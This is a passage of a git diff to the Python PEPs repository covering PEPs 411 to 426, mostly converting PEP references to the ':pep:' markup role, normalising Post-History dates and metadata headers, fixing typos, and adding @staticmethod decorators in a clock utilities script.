into the standard library For Python 3.3, there are a number of clear current candidates: * ``regex`` (http://pypi.python.org/pypi/regex) - approved by Guido [#]_. -* ``daemon`` (PEP 3143) -* ``ipaddr`` (PEP 3144) +* ``daemon`` (:pep:`3143`) +* ``ipaddr`` (:pep:`3144`) Other possible future use cases include: * Improved HTTP modules (e.g. ``requests``) * HTML 5 parsing support (e.g. ``html5lib``) * Improved URL/URI/IRI parsing -* A standard image API (PEP 368) -* Improved encapsulation of import state (PEP 406) -* Standard event loop API (PEP 3153) -* A binary version of WSGI for Python 3 (e.g. PEP 444) +* A standard image API (:pep:`368`) +* Improved encapsulation of import state (:pep:`406`) +* Standard event loop API (:pep:`3153`) +* A binary version of WSGI for Python 3 (e.g. :pep:`444`) * Generic function support (e.g. ``simplegeneric``) Rejected alternatives and variations ==================================== -See PEP 408. +See :pep:`408`. References diff --git a/pep-0412.txt b/pep-0412.txt index 7e5560949fd..2e4f07afeeb 100644 --- a/pep-0412.txt +++ b/pep-0412.txt @@ -7,7 +7,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 08-Feb-2012 -Python-Version: 3.3 or 3.4 +Python-Version: 3.3 Post-History: 08-Feb-2012 diff --git a/pep-0413.txt b/pep-0413.txt index 5138b33b20a..d1a45ccc6d1 100644 --- a/pep-0413.txt +++ b/pep-0413.txt @@ -7,8 +7,7 @@ Status: Withdrawn Type: Process Content-Type: text/x-rst Created: 24-Feb-2012 -Post-History: 2012-02-24, 2012-02-25 -Resolution: TBD +Post-History: 24-Feb-2012, 25-Feb-2012 PEP Withdrawal @@ -37,13 +36,13 @@ versioning scheme) that allows accelerated releases of the Python standard library, while maintaining (or even slowing down) the current rate of change in the core language definition. -Like PEP 407, it aims to adjust the current balance between measured +Like :pep:`407`, it aims to adjust the current balance between measured change that allows the broader community time to adapt and being able to keep pace with external influences that evolve more rapidly than the current release cycle can handle (this problem is particularly notable for standard library elements that relate to web technologies). -However, it's more conservative in its aims than PEP 407, seeking to +However, it's more conservative in its aims than :pep:`407`, seeking to restrict the increased pace of development to builtin and standard library interfaces, without affecting the rate of change for other elements such as the language syntax and version numbering as well as the CPython @@ -53,7 +52,7 @@ binary API and bytecode format. Rationale ========= -To quote the PEP 407 abstract: +To quote the :pep:`407` abstract: Finding a release cycle for an open-source project is a delicate exercise in managing mutually contradicting constraints: developer manpower, @@ -68,13 +67,13 @@ To quote the PEP 407 abstract: more fluid release of features, by introducing the notion of long-term support versions. -I agree with the PEP 407 authors that the current release cycle of the +I agree with the :pep:`407` authors that the current release cycle of the *standard library* is too slow to effectively cope with the pace of change in some key programming areas (specifically, web protocols and related technologies, including databases, templating and serialisation formats). However, I have written this competing PEP because I believe that the -approach proposed in PEP 407 of offering full, potentially binary +approach proposed in :pep:`407` of offering full, potentially binary incompatible releases of CPython every 6 months places too great a burden on the wider Python ecosystem. @@ -98,7 +97,7 @@ quite some time to catch up with language level changes. At a cultural level, the Python community is also accustomed to a certain meaning for Python version numbers - they're linked to deprecation periods, -support periods, all sorts of things. PEP 407 proposes that collective +support periods, all sorts of things. :pep:`407` proposes that collective knowledge all be swept aside, without offering a compelling rationale for why such a course of action is actually *necessary* (aside from, perhaps, making the lives of the CPython core developers a little easier at the expense of @@ -117,7 +116,7 @@ Proposal ======== This PEP proposes the introduction of a new kind of CPython release: -"standard library releases". As with PEP 407, this will give CPython 3 kinds +"standard library releases". As with :pep:`407`, this will give CPython 3 kinds of release: * Language release: "x.y.0" @@ -143,7 +142,7 @@ release may contain any and all of the following changes: * changes to the AST * any other significant changes to the compilation toolchain * changes to the core interpreter eval loop -* binary incompatible changes to the C ABI (although the PEP 384 stable ABI +* binary incompatible changes to the C ABI (although the :pep:`384` stable ABI must still be preserved) * bug fixes @@ -157,7 +156,7 @@ documenting the standard library version. Standard library releases may include the following changes: * new features in pure Python modules -* new features in C extension modules (subject to PEP 399 compatibility +* new features in C extension modules (subject to :pep:`399` compatibility requirements) * new features in language builtins (provided the C ABI remains unaffected) * bug fixes from the corresponding maintenance release @@ -247,7 +246,7 @@ The versioning scheme proposed above is based on a number of user scenarios that are likely to be encountered if this scheme is adopted. In each case, the scenario is described for both the status quo (i.e. slow release cycle) the versioning scheme in this PEP and the free wheeling minor version number -scheme proposed in PEP 407. +scheme proposed in :pep:`407`. To give away the ending, the point of using a separate version number is that for almost all scenarios, the important number is the *language* version, not @@ -315,7 +314,7 @@ compatibility is important). Extension module author, deciding whether or not to make a binary release ------------------------------------------------------------------------- -**Status quo:** unless using the PEP 384 stable ABI, a new binary release is +**Status quo:** unless using the :pep:`384` stable ABI, a new binary release is needed every time the minor version number changes. **This PEP:** same as status quo. @@ -403,8 +402,8 @@ more explicit about their rate of adoption of standard library features. More conservative projects will likely pin their dependency to the language version and avoid features added in the standard library releases. Faster moving projects could instead declare their dependency on a particular -standard library version. However, since PEP 407 does have the advantage of -preserving the status quo, I'm calling this one for PEP 407 (albeit with a +standard library version. However, since :pep:`407` does have the advantage of +preserving the status quo, I'm calling this one for :pep:`407` (albeit with a slim margin). @@ -422,7 +421,7 @@ proved to be insufficient to reproduce the fault). **PEP 407:** same as the status quo -**Verdict:** another marginal win for PEP 407. The new standard library version +**Verdict:** another marginal win for :pep:`407`. The new standard library version *is* an extra piece of information that users may need to pass back to developers when reporting issues with Python libraries (or Python itself, on our own tracker). However, by including it in ``sys.version``, many @@ -445,7 +444,7 @@ both the former maintenance branch and the standard library update branch. but handling security fixes for non-LTS releases is currently an open question. -**Verdict:** until PEP 407 is updated to actually address this scenario, a +**Verdict:** until :pep:`407` is updated to actually address this scenario, a clear win for this PEP. @@ -455,7 +454,7 @@ Effects Effect on development cycle --------------------------- -Similar to PEP 407, this PEP will break up the delivery of new features into +Similar to :pep:`407`, this PEP will break up the delivery of new features into more discrete chunks. Instead of a whole raft of changes landing all at once in a language release, each language release will be limited to 6 months worth of standard library changes, as well as any changes associated with @@ -519,7 +518,7 @@ releases rather than using the new standard library releases. Effect on the community ----------------------- -PEP 407 has this to say about the effects on the community: +:pep:`407` has this to say about the effects on the community: People who value stability can just synchronize on the LTS releases which, with the proposed figures, would give a similar support cycle (both in @@ -544,7 +543,7 @@ going to ship standard library updates for the next language release in definition update, even those changes that are backwards compatible with the previously released version of Python. -The community benefits listed in PEP 407 are equally applicable to this PEP, +The community benefits listed in :pep:`407` are equally applicable to this PEP, at least as far as the standard library is concerned: People who value reactivity and access to new features (without taking the @@ -720,7 +719,7 @@ to make standard library releases even *faster* than every 6 months? If the practical issues were ever resolved, then the separate standard library versioning scheme in this PEP could handle it. The tagged version -number approach proposed in PEP 407 could not (at least, not without a lot +number approach proposed in :pep:`407` could not (at least, not without a lot of user confusion and uncertainty). @@ -813,7 +812,7 @@ a little tidying up of the What's New document before making the release. Why isn't PEP 384 enough? ------------------------- -PEP 384 introduced the notion of a "Stable ABI" for CPython, a limited +:pep:`384` introduced the notion of a "Stable ABI" for CPython, a limited subset of the full C ABI that is guaranteed to remain stable. Extensions built against the stable ABI should be able to support all subsequent Python versions with the same binary. @@ -854,7 +853,7 @@ library releases: * Standard library updates * new features in pure Python modules - * new features in C extension modules (subject to PEP 399 compatibility + * new features in C extension modules (subject to :pep:`399` compatibility requirements) * new features in language builtins @@ -875,7 +874,7 @@ And the following changes would be acceptable in language releases: * removal of previously deprecated features * changes to the AST * changes to the emitted bytecode that require altering the magic number -* binary incompatible changes to the C ABI (although the PEP 384 stable ABI +* binary incompatible changes to the C ABI (although the :pep:`384` stable ABI must still be preserved) While such an approach could probably be made to work, there does not appear @@ -907,16 +906,13 @@ fraction of the pain. Acknowledgements ================ -Thanks go to the PEP 407 authors for starting this discussion, as well as +Thanks go to the :pep:`407` authors for starting this discussion, as well as to those authors and Larry Hastings for initial discussions of the proposal made in this PEP. References ========== -.. [1] PEP 407: New release cycle and introducing long-term support versions - http://www.python.org/dev/peps/pep-0407/ - .. [2] Twisted's "topfiles" approach to NEWS generation http://twistedmatrix.com/trac/wiki/ReviewProcess#Newsfiles diff --git a/pep-0414.txt b/pep-0414.txt index f303b81bc2d..158b653bfc3 100644 --- a/pep-0414.txt +++ b/pep-0414.txt @@ -115,7 +115,7 @@ Rationale ========= With the release of a Python 3 compatible version of the Web Services Gateway -Interface (WSGI) specification (PEP 3333) for Python 3.2, many parts of the +Interface (WSGI) specification (:pep:`3333`) for Python 3.2, many parts of the Python web ecosystem have been making a concerted effort to support Python 3 without adversely affecting their existing developer and user communities. diff --git a/pep-0415.txt b/pep-0415.txt index 827134c01db..48715a21f43 100644 --- a/pep-0415.txt +++ b/pep-0415.txt @@ -17,9 +17,9 @@ Resolution: https://mail.python.org/pipermail/python-dev/2012-May/119467.html Abstract ======== -PEP 409 introduced support for the ``raise exc from None`` construct to +:pep:`409` introduced support for the ``raise exc from None`` construct to allow the display of the exception context to be explicitly suppressed. -This PEP retains the language level changes already implemented in PEP 409, +This PEP retains the language level changes already implemented in :pep:`409`, but replaces the underlying implementation mechanism with a simpler approach based on a new ``__suppress_context__`` attribute on all ``BaseException`` instances. @@ -34,7 +34,7 @@ This PEP was accepted by Nick Coghlan on the 14th of May, 2012. Rationale ========= -PEP 409 changes ``__cause__`` to be ``Ellipsis`` by default. Then if +:pep:`409` changes ``__cause__`` to be ``Ellipsis`` by default. Then if ``__cause__`` is set to ``None`` by ``raise exc from None``, no context or cause will be printed should the exception be uncaught. @@ -43,9 +43,9 @@ The main problem with this scheme is it complicates the role of whether ``__context__`` should be printed or not. This use of ``__cause__`` is also not easily extended in the future. For example, we may someday want to allow the programmer to select which of ``__context__`` and ``__cause__`` will -be printed. The PEP 409 implementation is not amenable to this. +be printed. The :pep:`409` implementation is not amenable to this. -The use of ``Ellipsis`` is a hack. Before PEP 409, ``Ellipsis`` was used +The use of ``Ellipsis`` is a hack. Before :pep:`409`, ``Ellipsis`` was used exclusively in extended slicing. Extended slicing has nothing to do with exceptions, so it's not clear to someone inspecting an exception object why ``__cause__`` should be set to ``Ellipsis``. Using ``Ellipsis`` by default for diff --git a/pep-0416.txt b/pep-0416.txt index 692855684bb..59e2e4d08b8 100644 --- a/pep-0416.txt +++ b/pep-0416.txt @@ -131,9 +131,9 @@ just need to be practically constant.* If frozendict is used to harden Python (security purpose), it must be implemented in C. A type implemented in C is also faster. -*The PEP 351 was rejected.* +*The* :pep:`351` *was rejected.* -The PEP 351 tries to freeze an object and so may convert a mutable object to an +The :pep:`351` tries to freeze an object and so may convert a mutable object to an immutable object (using a different type). frozendict doesn't convert anything: hash(frozendict) raises a TypeError if a value is not hashable. Freezing an object is not the purpose of this PEP. @@ -233,7 +233,7 @@ Links `_ * PEP 412: Key-Sharing Dictionary (`issue #13903 `_) -* PEP 351: The freeze protocol +* :pep:`351`: The freeze protocol * `The case for immutable dictionaries; and the central misunderstanding of PEP 351 `_ * `make dictproxy object via ctypes.pythonapi and type() (Python recipe diff --git a/pep-0418/clockutils.py b/pep-0418/clockutils.py old mode 100644 new mode 100755 index 6fbe768648a..cbfd6a5eea9 --- a/pep-0418/clockutils.py +++ b/pep-0418/clockutils.py @@ -249,6 +249,7 @@ class _UNIX_CLOCK_REALTIME(_Clock): epoch = 0 flags = WALLCLOCK resolution = timespec.tv_sec + timespec.tv_nsec / 1000000000 + @staticmethod def now(): timespec = _time.clock_gettime(_time.CLOCK_REALTIME) return timespec.tv_sec + timespec.tv_nsec / 1000000000 @@ -269,6 +270,7 @@ class _UNIX_CLOCK_MONOTONIC(_Clock): ''' flags = MONOTONIC|STEADY|ADJUSTED resolution = timespec.tv_sec + timespec.tv_nsec / 1000000000 + @staticmethod def now(): timespec = _time.clock_gettime(_time.CLOCK_MONOTONIC) return timespec.tv_sec + timespec.tv_nsec / 1000000000 @@ -289,6 +291,7 @@ class _UNIX_CLOCK_MONOTONIC_RAW(_Clock): ''' flags = MONOTONIC|STEADY resolution = timespec.tv_sec + timespec.tv_nsec / 1000000000 + @staticmethod def now(): timespec = _time.clock_gettime(_time.CLOCK_MONOTONIC_RAW) return timespec.tv_sec + timespec.tv_nsec / 1000000000 @@ -309,6 +312,7 @@ class _UNIX_CLOCK_PROCESS_CPUTIME_ID(_Clock): ''' flags = MONOTONIC resolution = timespec.tv_sec + timespec.tv_nsec / 1000000000 + @staticmethod def now(): timespec = _time.clock_gettime(_time.CLOCK_PROCESS_CPUTIME_ID) return timespec.tv_sec + timespec.tv_nsec / 1000000000 @@ -329,6 +333,7 @@ class _UNIX_CLOCK_THREAD_CPUTIME_ID(_Clock): ''' flags = MONOTONIC resolution = timespec.tv_sec + timespec.tv_nsec / 1000000000 + @staticmethod def now(): timespec = _time.clock_gettime(_time.CLOCK_THREAD_CPUTIME_ID) return timespec.tv_sec + timespec.tv_nsec / 1000000000 diff --git a/pep-0420.txt b/pep-0420.txt index c8335ca103b..0f0baa73319 100644 --- a/pep-0420.txt +++ b/pep-0420.txt @@ -19,7 +19,7 @@ across multiple directories on disk. In current Python versions, an algorithm to compute the packages ``__path__`` must be formulated. With the enhancement proposed here, the import machinery itself will construct the list of directories that make up the package. This PEP builds upon previous work, -documented in PEP 382 and PEP 402. Those PEPs have since been rejected in +documented in :pep:`382` and :pep:`402`. Those PEPs have since been rejected in favor of this one. An implementation of this PEP is at [1]_. @@ -86,8 +86,9 @@ setuptools allows declaring namespace packages in a distribution's ``setup.py``, so that distribution developers don't need to put the magic ``__path__`` modification into ``__init__.py`` themselves. -See PEP 402's "The Problem" section [2]_ for additional motivations -for namespace packages. Note that PEP 402 has been rejected, but the +See :pep:`402`'s :pep:`"The Problem" <402#the-problem>` +section for additional motivations +for namespace packages. Note that :pep:`402` has been rejected, but the motivating use cases are still valid. @@ -213,7 +214,7 @@ path with a new path entry list object. Impact on import finders and loaders ------------------------------------ -PEP 302 defines "finders" that are called to search path elements. +:pep:`302` defines "finders" that are called to search path elements. These finders' ``find_module`` methods return either a "loader" object or ``None``. @@ -242,7 +243,7 @@ back to ``find_module``. Legacy finders which implement ``find_module`` but not ``find_loader`` will be unable to contribute portions to a namespace package. -The specification expands PEP 302 loaders to include an optional method called +The specification expands :pep:`302` loaders to include an optional method called ``module_repr()`` which if present, is used to generate module object reprs. See the section below for further details. @@ -284,9 +285,9 @@ As described above, prior to this PEP ``pkgutil.extend_path()`` was used by legacy portions to create namespace packages. Because it is likely not practical for all existing portions of a namespace package to be migrated to this PEP at once, ``extend_path()`` will be modified -to also recognize PEP 420 namespace packages. This will allow some +to also recognize :pep:`420` namespace packages. This will allow some portions of a namespace to be legacy portions while others are -migrated to PEP 420. These hybrid namespace packages will not have +migrated to :pep:`420`. These hybrid namespace packages will not have the dynamic path computation that normal namespace packages have, since ``extend_path()`` never provided this functionality in the past. @@ -428,7 +429,7 @@ Discussion ========== At PyCon 2012, we had a discussion about namespace packages at which -PEP 382 and PEP 402 were rejected, to be replaced by this PEP [3]_. +:pep:`382` and :pep:`402` were rejected, to be replaced by this PEP [3]_. There is no intention to remove support of regular packages. If a developer knows that her package will never be a portion of a @@ -466,9 +467,9 @@ is summarized here: 2. Minor backward compatibility issues are okay, as long as they are properly documented. -3. This will be addressed in PEP 395. +3. This will be addressed in :pep:`395`. -4. This will also be addressed in PEP 395. +4. This will also be addressed in :pep:`395`. The inclusion of namespace packages in the standard library was motivated by Martin v. Löwis, who wanted the ``encodings`` package to @@ -530,7 +531,7 @@ Module reprs Previously, module reprs were hard coded based on assumptions about a module's ``__file__`` attribute. If this attribute existed and was a string, it was assumed to be a file system path, and the module object's repr would include -this in its value. The only exception was that PEP 302 reserved missing +this in its value. The only exception was that :pep:`302` reserved missing ``__file__`` attributes to built-in modules, and in CPython, this assumption was baked into the module object's implementation. Because of this restriction, some modules contained contrived ``__file__`` values that did not @@ -547,7 +548,7 @@ the definitive way to determine the origin of a module is to check its For example, namespace packages as described in this PEP will have no ``__file__`` attribute because no corresponding file exists. In order to provide flexibility and descriptiveness in the reprs of such modules, a new -optional protocol is added to PEP 302 loaders. Loaders can implement a +optional protocol is added to :pep:`302` loaders. Loaders can implement a ``module_repr()`` method which takes a single argument, the module object. This method should return the string to be used verbatim as the repr of the module. The rules for producing a module repr are now standardized as: @@ -618,9 +619,6 @@ References .. [1] PEP 420 branch (http://hg.python.org/features/pep-420) -.. [2] PEP 402's description of use cases for namespace packages - (http://www.python.org/dev/peps/pep-0402/#the-problem) - .. [3] PyCon 2012 Namespace Package discussion outcome (https://mail.python.org/pipermail/import-sig/2012-March/000421.html) diff --git a/pep-0421.txt b/pep-0421.txt index 28c04cea400..d3f498d966d 100644 --- a/pep-0421.txt +++ b/pep-0421.txt @@ -8,7 +8,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 26-Apr-2012 -Post-History: 26-April-2012 +Post-History: 26-Apr-2012 Resolution: https://mail.python.org/pipermail/python-dev/2012-May/119683.html @@ -98,7 +98,7 @@ define them: ``sys.hexversion``. **cache_tag** - A string used for the PEP 3147 cache tag [#cachetag]_. It would + A string used for the :pep:`3147` cache tag. It would normally be a composite of the name and version (e.g. 'cpython-33' for CPython 3.3). However, an implementation may explicitly use a different cache tag. If ``cache_tag`` is set to None, it indicates @@ -240,14 +240,15 @@ in ``platform`` wrapping it). Cache Tag Generation in Frozen Importlib ---------------------------------------- -PEP 3147 defined the use of a module cache and cache tags for file +:pep:`3147` defined the use of a module cache and cache tags for file names. The importlib bootstrap code, frozen into the Python binary as of 3.3, uses the cache tags during the import process. Part of the project to bootstrap importlib has been to clean code out of `Python/import.c`_ that did not need to be there any longer. -The cache tag defined in ``Python/import.c`` was hard-coded to -``"cpython" MAJOR MINOR`` [#cachetag]_. For importlib the options are +The cache tag defined in ``Python/import.c`` was +:pep:`hard-coded <3147#proposal>` +to ``"cpython" MAJOR MINOR``. For importlib the options are either hard-coding it in the same way, or guessing the implementation in the same way as does ``platform.python_implementation()``. @@ -351,21 +352,21 @@ this PEP is a small start, will be considered separately. Past Efforts ============ -``PEP 3139`` ------------- +PEP 3139 +-------- -PEP 3139, from 2008, recommended a clean-up of the ``sys`` module in +:pep:`3139`, from 2008, recommended a clean-up of the ``sys`` module in part by extracting implementation-specific variables and functions -into a separate module. PEP 421 is less ambitious version of that -idea. While PEP 3139 was rejected, its goals are reflected in PEP 421 +into a separate module. :pep:`421` is less ambitious version of that +idea. While :pep:`3139` was rejected, its goals are reflected in :pep:`421` to a large extent, though with a much lighter approach. -``PEP 399`` ------------ +PEP 399 +------- -PEP 399 dictates policy regarding the standard library, helping to make -it friendlier to alternate implementations. PEP 421 is proposed in +:pep:`399` dictates policy regarding the standard library, helping to make +it friendlier to alternate implementations. :pep:`421` is proposed in that same spirit. @@ -381,7 +382,7 @@ data, acting as a nexus for cooperation between the language, the standard library, and the different implementations. As time goes by it is feasible that ``sys.implementation`` will assume current attributes of ``sys`` and other builtin/stdlib modules, where -appropriate. In this way, it is a PEP 3137-lite, but starting as +appropriate. In this way, it is a :pep:`3137`-lite, but starting as small as possible. However, as already noted, many other efforts predate @@ -485,9 +486,6 @@ References .. [#guess] The ``platform`` code which divines the implementation name: http://hg.python.org/cpython/file/2f563908ebc5/Lib/platform.py#l1247 -.. [#cachetag] The definition for cache tags in PEP 3147: - http://www.python.org/dev/peps/pep-3147/#id53 - .. [#tag_impl] The original implementation of the cache tag in CPython: http://hg.python.org/cpython/file/2f563908ebc5/Python/import.c#l121 diff --git a/pep-0422.txt b/pep-0422.txt index c02fa8a5bed..655dc78e888 100644 --- a/pep-0422.txt +++ b/pep-0422.txt @@ -9,7 +9,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 05-Jun-2012 Python-Version: 3.5 -Post-History: 5-Jun-2012, 10-Feb-2013 +Post-History: 05-Jun-2012, 10-Feb-2013 Abstract @@ -32,7 +32,7 @@ PEP Withdrawal ============== This proposal has been withdrawn in favour of Martin Teichmann's proposal -in PEP 487, which achieves the same goals through a simpler, easier to use +in :pep:`487`, which achieves the same goals through a simpler, easier to use ``__init_subclass__`` hook that simply isn't invoked for the base class that defines the hook. @@ -71,13 +71,13 @@ execution of the class body (for example, specifying the use of ``collections.OrderedDict`` instead of a regular ``dict``). In Python 2, there was no ``__prepare__`` method (that API was added for -Python 3 by PEP 3115). Instead, a class body could set the ``__metaclass__`` +Python 3 by :pep:`3115`). Instead, a class body could set the ``__metaclass__`` attribute, and the class creation process would extract that value from the class namespace to use as the metaclass hint. There is `published code`_ that makes use of this feature. Another new feature in Python 3 is the zero-argument form of the ``super()`` -builtin, introduced by PEP 3135. This feature uses an implicit ``__class__`` +builtin, introduced by :pep:`3135`. This feature uses an implicit ``__class__`` reference to the class being defined to replace the "by name" references required in Python 2. Just as code invoked during execution of a Python 2 metaclass could not call methods that referenced the class by name (as the @@ -103,7 +103,7 @@ added to Python 3.4 that meets the following criteria: 1. Integrates nicely with class inheritance structures (including mixins and multiple inheritance) 2. Integrates nicely with the implicit ``__class__`` reference and - zero-argument ``super()`` syntax introduced by PEP 3135 + zero-argument ``super()`` syntax introduced by :pep:`3135` 3. Can be added to an existing base class without a significant risk of introducing backwards compatibility problems 4. Restores the ability for class namespaces to have some influence on the @@ -240,12 +240,12 @@ signature of ``__autodecorate__``, the risk in this case is actually even lower than in the case of ``__init__``. -Integrates cleanly with \PEP 3135 ---------------------------------- +Integrates cleanly with PEP 3135 +-------------------------------- Unlike code that runs as part of the metaclass, code that runs as part of the new hook will be able to freely invoke class methods that rely on the -implicit ``__class__`` reference introduced by PEP 3135, including methods +implicit ``__class__`` reference introduced by :pep:`3135`, including methods that use the zero argument form of ``super()``. @@ -484,7 +484,7 @@ detected anyway in order to give a useful error message. This decision was reinforced after noticing that the user experience of defining ``__prepare__`` and forgetting the ``@classmethod`` method -decorator is singularly incomprehensible (particularly since PEP 3115 +decorator is singularly incomprehensible (particularly since :pep:`3115` documents it as an ordinary method, and the current documentation doesn't explicitly say anything one way or the other). diff --git a/pep-0423.txt b/pep-0423.txt index a9b34bb9ccb..094fef505b0 100644 --- a/pep-0423.txt +++ b/pep-0423.txt @@ -3,9 +3,10 @@ Title: Naming conventions and recipes related to packaging Version: $Revision$ Last-Modified: $Date$ Author: Benoit Bryon -Discussions-To: +Discussions-To: distutils-sig@python.org Status: Deferred Type: Informational +Topic: Packaging Content-Type: text/x-rst Created: 24-May-2012 Post-History: @@ -32,7 +33,7 @@ PEP Deferral ============ Further consideration of this PEP has been deferred at least until after -PEP 426 (package metadata 2.0) and related updates have been resolved. +:pep:`426` (package metadata 2.0) and related updates have been resolved. Terminology =========== @@ -43,17 +44,18 @@ Reference is `packaging terminology in Python documentation`_. Relationship with other PEPs ============================ -* `PEP 8`_ deals with code style guide, including names of Python +* :pep:`8#package-and-module-names` + deals with code style guide, including names of Python packages and modules. It covers syntax of package/modules names. -* `PEP 345`_ deals with packaging metadata, and defines name argument +* :pep:`345` deals with packaging metadata, and defines name argument of the ``packaging.core.setup()`` function. -* `PEP 420`_ deals with namespace packages. It brings support of +* :pep:`420` deals with namespace packages. It brings support of namespace packages to Python core. Before, namespaces packages were implemented by external libraries. -* `PEP 3108`_ deals with transition between Python 2.x and Python 3.x +* :pep:`3108` deals with transition between Python 2.x and Python 3.x applied to standard library: some modules to be deleted, some to be renamed. It points out that naming conventions matter and is an example of transition plan. @@ -316,9 +318,10 @@ name. Follow PEP 8 for syntax of package and module names =================================================== -`PEP 8`_ applies to names of Python packages and modules. +:pep:`PEP 8 <8#package-and-module-names>` applies to names of Python packages and modules. -If you `Use a single name`_, `PEP 8`_ also applies to project names. +If you `Use a single name`_, :pep:`PEP 8 <8#package-and-module-names>` +also applies to project names. The exceptions are namespace packages, where dots are required in project name. @@ -388,7 +391,7 @@ But it would be possible if all these distributions used Avoid deep nesting ================== -`The Zen of Python`_ says "Flat is better than nested". +:pep:`The Zen of Python <20>` says "Flat is better than nested". Two levels is almost always enough ---------------------------------- @@ -561,7 +564,7 @@ Actions: * if you use the `default convention <#use-standard-pattern-for-community-contributions>`_, then this - document should be enough. Don't reapeat it. You may reference + document should be enough. Don't repeat it. You may reference it. * else, tell users about custom conventions in project's @@ -657,7 +660,8 @@ documentation, so that users understand what happened. * import statements in code. #. Assign ``Obsoletes-Dist`` metadata to new distribution in setup.cfg - file. See `PEP 345 about Obsolete-Dist`_ and `setup.cfg + file. See :pep:`PEP 345 about Obsolete-Dist <345#obsoletes-dist-multiple-use>` + and `setup.cfg specification`_. #. Release a new version of the renamed project, then publish it. @@ -760,7 +764,7 @@ As of Python 3.3 being developed: * packaging (aka distutils2) is on the starting blocks. When it is released, projects will be invited to migrate and use new packaging. -* `PEP 420`_ brings official support of namespace packages to Python. +* :pep:`420` brings official support of namespace packages to Python. It means that most active projects should be about to migrate in the next year(s) to support Python 3.x, new packaging or new namespace @@ -788,11 +792,6 @@ References and footnotes: .. _`packaging terminology in Python documentation`: https://packaging.python.org/glossary/ -.. _`PEP 8`: - http://www.python.org/dev/peps/pep-0008/#package-and-module-names -.. _`PEP 345`: http://www.python.org/dev/peps/pep-0345/ -.. _`PEP 420`: http://www.python.org/dev/peps/pep-0420/ -.. _`PEP 3108`: http://www.python.org/dev/peps/pep-3108/ .. _`Python community`: http://www.python.org/community/ .. _`gp.fileupload`: http://pypi.python.org/pypi/gp.fileupload/ .. _`zest.releaser`: http://pypi.python.org/pypi/zest.releaser/ @@ -815,14 +814,11 @@ References and footnotes: .. _`DateUtils`: http://pypi.python.org/pypi/DateUtils/ .. _`Framework :: Twisted`: http://pypi.python.org/pypi?:action=browse&show=all&c=525 -.. _`The Zen of Python`: http://www.python.org/dev/peps/pep-0020/ .. _`Plone community`: http://plone.org/community/develop .. _`Registering with the Package Index`: https://docs.python.org/3/distutils/packageindex.html .. _`Python Standard Library`: http://docs.python.org/library/index.html -.. _`PEP 345 about Obsolete-Dist`: - http://www.python.org/dev/peps/pep-0345/#obsoletes-dist-multiple-use .. _`setup.cfg specification`: http://docs.python.org/dev/packaging/setupcfg.html .. _`Martin Aspeli's article about names`: diff --git a/pep-0424.txt b/pep-0424.txt index 2e32446132f..d814323c21c 100644 --- a/pep-0424.txt +++ b/pep-0424.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 14-Jul-2012 Python-Version: 3.4 -Post-History: https://mail.python.org/pipermail/python-dev/2012-July/120920.html +Post-History: `15-Jul-2012 `__ Abstract ======== diff --git a/pep-0425.txt b/pep-0425.txt index 66e2942954c..43d420a06ca 100644 --- a/pep-0425.txt +++ b/pep-0425.txt @@ -6,10 +6,11 @@ Author: Daniel Holth BDFL-Delegate: Nick Coghlan Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 27-Jul-2012 Python-Version: 3.4 -Post-History: 8-Aug-2012, 18-Oct-2012, 15-Feb-2013 +Post-History: 08-Aug-2012, 18-Oct-2012, 15-Feb-2013 Resolution: https://mail.python.org/pipermail/python-dev/2013-February/124116.html @@ -114,7 +115,7 @@ the CPython 3.3 ABI with debugging. The CPython stable ABI is `abi3` as in the shared library suffix. Implementations with a very unstable ABI may use the first 6 bytes (as -8 base64-encoded characters) of the SHA-256 hash of ther source code +8 base64-encoded characters) of the SHA-256 hash of their source code revision and compiler flags, etc, but will probably not have a great need to distribute binary distributions. Each implementation's community may decide how to best use the ABI tag. @@ -226,7 +227,7 @@ What tag do I use if my distribution uses a feature exclusive to the newest vers Why isn't there a `.` in the Python version number? CPython has lasted 20+ years without a 3-digit major release. This should continue for some time. Other implementations may use _ as - a delimeter, since both - and . delimit the surrounding filename. + a delimiter, since both - and . delimit the surrounding filename. Why normalise hyphens and other non-alphanumeric characters to underscores? To avoid conflicting with the "." and "-" characters that separate @@ -276,9 +277,6 @@ References .. [2] Creating Built Distributions (http://docs.python.org/distutils/builtdist.html) -.. [3] PEP 3147 -- PYC Repository Directories - (http://www.python.org/dev/peps/pep-3147/) - Acknowledgements ================ diff --git a/pep-0426.txt b/pep-0426.txt index f3195c499a8..56308b32859 100644 --- a/pep-0426.txt +++ b/pep-0426.txt @@ -6,15 +6,16 @@ Author: Nick Coghlan , Daniel Holth , Donald Stufft BDFL-Delegate: Donald Stufft -Discussions-To: Distutils SIG +Discussions-To: distutils-sig@python.org Status: Withdrawn Type: Informational +Topic: Packaging Content-Type: text/x-rst Requires: 440, 508, 518 Created: 30-Aug-2012 -Post-History: 14 Nov 2012, 5 Feb 2013, 7 Feb 2013, 9 Feb 2013, - 27 May 2013, 20 Jun 2013, 23 Jun 2013, 14 Jul 2013, - 21 Dec 2013 +Post-History: 14-Nov-2012, 05-Feb-2013, 07-Feb-2013, 09-Feb-2013, + 27-May-2013, 20-Jun-2013, 23-Jun-2013, 14-Jul-2013, + 21-Dec-2013 Replaces: 345 @@ -22,11 +23,11 @@ PEP Withdrawal ============== The ground-up metadata redesign proposed in this PEP has been withdrawn in -favour of the more modest proposal in PEP 566, which retains the basic +favour of the more modest proposal in :pep:`566`, which retains the basic Key:Value format of previous metadata versions, but also defines a standardised mechanism for translating that format to nested JSON-compatible data structures. -Some of the ideas in this PEP (or the related PEP 459) may still be considered +Some of the ideas in this PEP (or the related :pep:`459`) may still be considered as part of later proposals, but they will be handled in a more incremental fashion, rather than as a single large proposed change with no feasible migration plan. @@ -41,9 +42,9 @@ and their semantics and usage. This document specifies the never released version 2.0 of the metadata format. -Version 1.0 is specified in PEP 241. -Version 1.1 is specified in PEP 314. -Version 1.2 is specified in PEP 345. +Version 1.0 is specified in :pep:`241`. +Version 1.1 is specified in :pep:`314`. +Version 1.2 is specified in :pep:`345`. Version 2.0 of the metadata format proposed migrating from directly defining a custom key-value file format to instead defining a JSON-compatible in-memory @@ -62,15 +63,15 @@ This PEP was initially deferred for an extended period, from December 2013 through to March 2017, as distutils-sig worked through a number of other changes. These changes included: -* defining a binary compatibility tagging format in PEP 425 